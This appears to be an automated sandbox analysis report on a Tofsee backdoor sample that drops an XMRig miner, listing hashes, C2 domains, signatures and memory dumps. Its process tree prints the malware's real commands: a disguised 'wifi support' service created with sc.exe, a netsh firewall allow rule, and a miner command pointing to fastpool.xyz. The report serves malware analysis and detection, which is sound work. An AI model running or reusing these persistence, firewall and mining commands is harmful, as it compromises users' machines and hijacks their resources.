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Analysis

  • max time kernel
    108s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/08/2023, 04:30

General

  • Target

    file.exe

  • Size

    295KB

  • MD5

    d23526d5cd20f9798f82ef630510838c

  • SHA1

    531bac0c65fd2209651295dab9e71085f3e2950d

  • SHA256

    81841275b53476b892ba3da736e05c01392b7f79f6fbb679fbb344f1433cc11e

  • SHA512

    d49de33f3b81280d5bf0bc429e9508438de71dec43deb995956d684131df724017c152e2e27b8983dc5c6c7a6d440f1bc86bc80c1c0e9d2aa22ab79019b2e0b5

  • SSDEEP

    3072:NoN2WdiJsjnhu+snkoBgaUCeboSuZXuPPdhVCe2TJXweU5VeNzGZ:qNWUnhuntvUISeEPNAJXweQVe4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xmdujsh\
      2⤵
        PID:3932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knkduwqg.exe" C:\Windows\SysWOW64\xmdujsh\
        2⤵
          PID:5092
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xmdujsh binPath= "C:\Windows\SysWOW64\xmdujsh\knkduwqg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description xmdujsh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start xmdujsh
          2⤵
          • Launches sc.exe
          PID:4088
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1812
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3928 -s 656
          2⤵
          • Program crash
          PID:548
      • C:\Windows\SysWOW64\xmdujsh\knkduwqg.exe
        C:\Windows\SysWOW64\xmdujsh\knkduwqg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2116
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2852
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2116 -s 512
          2⤵
          • Program crash
          PID:2152
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3928 -ip 3928
        1⤵
          PID:3300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2116 -ip 2116
          1⤵
            PID:3148

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\knkduwqg.exe

            Filesize

            12.6MB

            MD5

            2d529de1fa21e16a426e00b13b23bbda

            SHA1

            08d6391c52c306802a6d2cff136edc31c85bc6df

            SHA256

            7e3b89128c6a3f69257b8715d81044a5313f5554ad5974d4fadc87f75e7fb8f6

            SHA512

            a7300c0f54c1926bb0853dada93c9d1a7ca4e18615b67908eebd567e36751b667d65c3bc831e32e5f835de7c61619fcb9f9231ef90e6c88e2c1026dc1844a9ba

          • C:\Windows\SysWOW64\xmdujsh\knkduwqg.exe

            Filesize

            12.6MB

            MD5

            2d529de1fa21e16a426e00b13b23bbda

            SHA1

            08d6391c52c306802a6d2cff136edc31c85bc6df

            SHA256

            7e3b89128c6a3f69257b8715d81044a5313f5554ad5974d4fadc87f75e7fb8f6

            SHA512

            a7300c0f54c1926bb0853dada93c9d1a7ca4e18615b67908eebd567e36751b667d65c3bc831e32e5f835de7c61619fcb9f9231ef90e6c88e2c1026dc1844a9ba

          • memory/2116-143-0x0000000002390000-0x0000000002490000-memory.dmp

            Filesize

            1024KB

          • memory/2116-151-0x0000000000400000-0x00000000022F0000-memory.dmp

            Filesize

            30.9MB

          • memory/2116-148-0x0000000000400000-0x00000000022F0000-memory.dmp

            Filesize

            30.9MB

          • memory/2852-201-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-200-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-193-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-206-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-205-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-198-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-204-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-199-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-203-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/2852-202-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/3928-135-0x0000000003EF0000-0x0000000003F03000-memory.dmp

            Filesize

            76KB

          • memory/3928-134-0x0000000002530000-0x0000000002630000-memory.dmp

            Filesize

            1024KB

          • memory/3928-141-0x0000000003EF0000-0x0000000003F03000-memory.dmp

            Filesize

            76KB

          • memory/3928-137-0x0000000000400000-0x00000000022F0000-memory.dmp

            Filesize

            30.9MB

          • memory/3928-140-0x0000000000400000-0x00000000022F0000-memory.dmp

            Filesize

            30.9MB

          • memory/5044-170-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-181-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

            Filesize

            20KB

          • memory/5044-168-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-169-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-166-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-172-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-173-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-171-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-175-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-174-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-176-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-177-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-179-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-178-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-180-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-167-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-184-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

            Filesize

            20KB

          • memory/5044-185-0x0000000007800000-0x0000000007C0B000-memory.dmp

            Filesize

            4.0MB

          • memory/5044-188-0x0000000007800000-0x0000000007C0B000-memory.dmp

            Filesize

            4.0MB

          • memory/5044-189-0x0000000002DE0000-0x0000000002DE7000-memory.dmp

            Filesize

            28KB

          • memory/5044-165-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-164-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-161-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

            Filesize

            64KB

          • memory/5044-158-0x0000000001FA0000-0x0000000001FA6000-memory.dmp

            Filesize

            24KB

          • memory/5044-157-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/5044-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/5044-153-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/5044-150-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/5044-147-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB

          • memory/5044-144-0x0000000000C00000-0x0000000000C15000-memory.dmp

            Filesize

            84KB